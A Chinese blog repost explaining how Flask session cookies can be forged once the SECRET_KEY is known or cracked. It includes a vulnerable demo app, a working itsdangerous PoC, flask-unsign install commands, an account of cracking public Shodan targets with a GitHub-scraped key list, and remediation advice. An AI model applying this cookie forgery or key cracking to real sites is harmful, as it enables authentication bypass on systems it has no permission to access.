通过secretkey 绕过flask的session认证

栏目: Python · 发布时间: 5年前

内容简介:最近读到一篇英文文章,甚是有趣,所以想把关键内容提取并翻译出来,记录自己学习的同时也方便他人阅读,原文一般来说,安全的session存储,客户端的cookie应该是不可读的,但flask的cookie却不完全是这样,这里直接贴原作者的图。

前言

最近读到一篇英文文章,甚是有趣,所以想把关键内容提取并翻译出来,记录自己学习的同时也方便他人阅读,原文 地址

0x00 漏洞细节

一般来说,安全的session存储,客户端的cookie应该是不可读的,但flask的cookie却不完全是这样,这里直接贴原作者的图。

通过secretkey 绕过flask的session认证

通过.隔开的3段内容,第一段其实就是base64 encode后的内容,但去掉了填充用的等号,若decode失败,自己需要补上1-3个等号补全。中间内容为时间戳,在flask中时间戳若超过31天则视为无效。最后一段则是安全签名,将sessiondata,时间戳,和flask的secretkey通过sha1运算的结果。

服务端每次收到cookie后,会将cookie中前两段取出和secretkey做sha1运算,若结果与cookie第三段不一致则视为无效。

0x01 示例代码

说这么多不如打一梭子来的舒服,首选是server端代码,这里也直接照搬代码了:

from flask import Flask, session


app = Flask(__name__)
app.config['SECRET_KEY'] = 'xiaomi.sec'


@app.route('/')
def index():
    if 'logged_in' not in session:
        session['logged_in'] = False

    if session['logged_in']:
        return '<h1>You are logged in!</h1>'
    else:
        return '<h1>Access Denied</h1>', 403


if __name__ == '__main__':
    app.run()

直接访问如图:

通过secretkey 绕过flask的session认证

poc代码:

import hashlib

from flask.json.tag import TaggedJSONSerializer
from itsdangerous import *


session = {'logged_in': True}
secret = 'xiaomi.sec'

print(URLSafeSerializer(secret_key=secret,
                        salt='cookie-session',#Flask固定的盐,盐和secret会先经过一轮sha1运算,其结果作为下一轮盐和cookie内容生成签名。
                        serializer=TaggedJSONSerializer(),
                        signer=TimestampSigner,
                        signer_kwargs={
                            'key_derivation': 'hmac',
                            'digest_method': hashlib.sha1
                        }
                        ).dumps(session))

这里需要安装pip itsdangerous库,里面已经实现了cookie的生成方式。

修改cookie后结果如下:

通过secretkey 绕过flask的session认证 深入利用

原作者的深入思考也非常值得学习,分为获取secretkey字典,以及利用字典自动化测试。

万能的github

github肯定是有最多secretkey的地方,大多数人也不会专门去修改secretkey,原作者通过爬取并正则匹配获取了37000多个不同的secretkey,正则如下:

通过secretkey 绕过flask的session认证

自动化测试

这里作者写了个很不错的 python 库,获取服务端请求头中cookie后自动破解secretkey,然后修改cookie内容并重新签名。

通过secretkey 绕过flask的session认证

安装方式

pip install flask-unsign[wordlist] #自带字典版本
pip install flask-unsign#无字典版本

然后是公网批量验证,做过的朋友都知道,类似flask的指纹很好确定,但实际环境上,flask可能在一层nginx后面,类似这种情况的确很难有效判别后端程序是什么。

不过原作者还是通过shodan的搜索结果成功破解了不少目标:

通过secretkey 绕过flask的session认证

寻找使用werkzeug的python WSGI且返回头的设置cookie有类似session=的内容。破解结果如下:

通过secretkey 绕过flask的session认证

使用最多的secretkey:

通过secretkey 绕过flask的session认证

修复方案

1、漏洞的根源是secretkey被获取,应当使用完全随机的secretkey,或在clone某项目后修改为随机的key。

2、使用flask_session,使cookie不可读。

原作者的正确代码示例:

# Requirements: Flask, Flask-Session
import os
from flask import Flask, session
from flask_session import Session


app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(64)
app.config['SESSION_TYPE'] = 'filesystem'

Session(app)


@app.route('/')
def index():
    if 'logged_in' not in session:
        session['logged_in'] = False

    if session['logged_in']:
        return '<h1>You are logged in!</h1>'
    else:
        return '<h1>Access Denied</h1>', 403


if __name__ == '__main__':
    app.run()

反思

1、cookie部分可读这点的发现挺重要的,而flask还专门将多出来的等于号去掉了,若不添加可能都无法正常decode,以后的测试过程中感觉可以注意一下类似的细节。

2、利用github生成字典。这一点的思维很棒,而且发散开来,其实不少其他字典的生成都能通过爬取github关键字来得到,例如匹配路由设置代码,来生成路径的字典?我想大家的点子一定比我多,如果有想实现的,随时欢迎交流。

通过secretkey 绕过flask的session认证


以上所述就是小编给大家介绍的《通过secretkey 绕过flask的session认证》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

像计算机科学家一样思考Python (第2版)

像计算机科学家一样思考Python (第2版)

[美] 艾伦 B. 唐尼 / 赵普明 / 人民邮电出版社 / 2016-7 / 49.00

本书以培养读者以计算机科学家一样的思维方式来理解Python语言编程。贯穿全书的主体是如何思考、设计、开发的方法,而具体的编程语言,只是提供了一个具体场景方便介绍的媒介。 全书共21章,详细介绍Python语言编程的方方面面。本书从基本的编程概念开始讲起,包括语言的语法和语义,而且每个编程概念都有清晰的定义,引领读者循序渐进地学习变量、表达式、语句、函数和数据结构。书中还探讨了如何处理文件和......一起来看看 《像计算机科学家一样思考Python (第2版)》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具